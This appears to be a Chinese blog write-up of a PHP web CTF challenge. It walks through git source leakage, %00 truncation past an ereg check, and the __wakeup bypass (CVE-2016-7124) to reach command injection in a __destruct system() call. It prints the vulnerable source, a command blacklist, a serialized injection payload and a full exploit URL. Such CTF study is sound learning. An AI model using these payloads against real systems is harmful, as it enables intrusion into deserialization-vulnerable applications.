include waf.php,一道ctf题的总结

周末偶然看到学弟们在群里发的一道web题目,心血来潮决定做做,还是学到点东西,做个记录,题目地址。

0x01Git源代码泄露

该站点存在git源代码泄露,通过githack直接跑出代码文件。关注点有三个文件,一个是index2.php,一个是class.php,一个是waf.php,贴下关键代码。

index.php

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54<?php

error_reporting(0);

include 'class.php';

include 'waf.php';

if(@$_GET['file']){

$file = $_GET['file'];

waf($file);

}else{

$file = "Welcome";

}

if($_GET['id'] === '1'){

include 'welcome/nothing.php';

die();

}

$secret = $_GET['secret'];

$ad = $_GET['ad'];

if(isset($ad)){

if(ereg("^[a-zA-Z0-9]+$", $ad) === FALSE)

{

echo '';

}

elseif(strpos($ad, '--') !== FALSE)

{

echo "Ok Evrything will be fine!
";

if (stripos($secret, './') > 0) {

die();

}

unserialize($secret);

}

else

{

echo '';

}

}

?>

if($file == "Welcome"){

require_once 'welcome/welcome.php';

}else{

if(!file_exists("./import/$file.php")){

die("The file does not exit !");

}elseif(!system("php ./import/$file.php")){

die('Something was wrong ! But it is ok! ignore it :)');

}

}

?>

class.php

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33<?php

error_reporting(0);

class Record{

public $file="Welcome";

public function __construct($file)

{

$this->file = $file;

}

public function __sleep()

{

$this->file = 'sleep.txt';

return array('file');

}

public function __wakeup()

{

$this->file = 'wakeup.txt';

}

public function __destruct()

{

if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {

system("php ./import/$this->file.php");

}else{

echo "<?php Something destroyed ?>";

}

}

}

waf.php

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18<?php

error_reporting(0);

function waf($values){

//$black = [];

$black = array('vi','awk','-','sed','comm','diff','grep','cp','mv','nl','less','od','cat','head','tail','more','tac','rm','ls','tailf',' ','%','%0a','%0d','%00','ls','echo','ps','>','

foreach ($black as $key => $value) {

if(stripos($values,$value)){

die("Attack!");

}

if (!ctype_alnum($values)) {

die("Attack!");

}

}

}

?>

0x02考点分析

这题的考点有几个,首先ereg正则的情况下,可以同通过%00进行截断绕过。如果要进入下一个循环,ad必须包含–字符,因此这里可以构造ad=123%00–,然后我们就看到最后这个循环里会对secret参数进行反序列化操作。在进行反序列化之前,进行了判断,不允许$secret中出现./。

d279e91693e5b6bf5e9bc45aef1dca6c.png

0x03PHP反序列化

这里就先不对PHP反序列化进行详细介绍,后续会针对PHP反序列化问题进行详细说明。跟进反序列化,我们在class.php中看到了,序列化的操作。

c273b22b3577863ba2ea4b01212ad278.png

在__destruct阶段里执行了system操作,这的system操作存在命令注入的问题,但是在这步操作之前需要做个校验,查看file是否为wakeup.txt,sleep.txt,welcome中的一个,但是在反序化的时候,__wakeup方法会将file赋值为wakeup.txt。

这时候关注到一个洞:__wakeup()函数失效引发漏洞(CVE-2016-7124)

__wakeup()函数失效引发漏洞(CVE-2016-7124)

先看一段小代码

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29<?php

error_reporting(0);

class Record{

public $file="Welcome";

public function __wakeup()

{

$this->file = 'wakeup.txt';

}

public function __destruct()

{

if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {

system("php ./import/$this->file.php");

}else{

echo "<?php Something destroyed ?>";

}

}

}

/*

$b =new Record();

echo serialize($b);

file_put_contents('1.txt', serialize($b));

*/

$c = unserialize(file_get_contents('1.txt'));

var_dump($c);

?>

生成的序列化字符串为O:6:”Record”:1:{s:4:”file”;s:4:”test”;}。将其重新反序列化后的结果为。

7b53f064496ee74a6007170d401285ab.png

漏洞原理

而该漏洞的描述是:__wakeup触发于unserilize()调用之前,当我们反序列化一个对象时,如果它的属性发生了变化,就会导致wakeup函数中的return 0不会执行,那么如果__wakeup()中存在一些重要的语句,就会导致不会被执行。

漏洞影响版本

PHP5 < 5.6.25

PHP7 < 7.0.10

将Record:后的1改成2,重新反序列化一下,结果已经绕过这个if判断。

c7e122889614f6234c1e4a6dc608389b.png

0x04命令注入

很简单,构造一下payload为O:6:"Record":2:{s:4:"file";s:29:"Flag.php;cat import/Flag.php;";}。

最后:http://47.104.99.231:20003/index2.php?secret=O:6:%22Record%22:2:{s:4:%22file%22;s:29:%22

Flag.php;cat%20import/Flag.php;%22;}&ad=1%00--&file=Welcome。

de8c2fc0e895139860895cc220090572.png

0x05参考文章

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值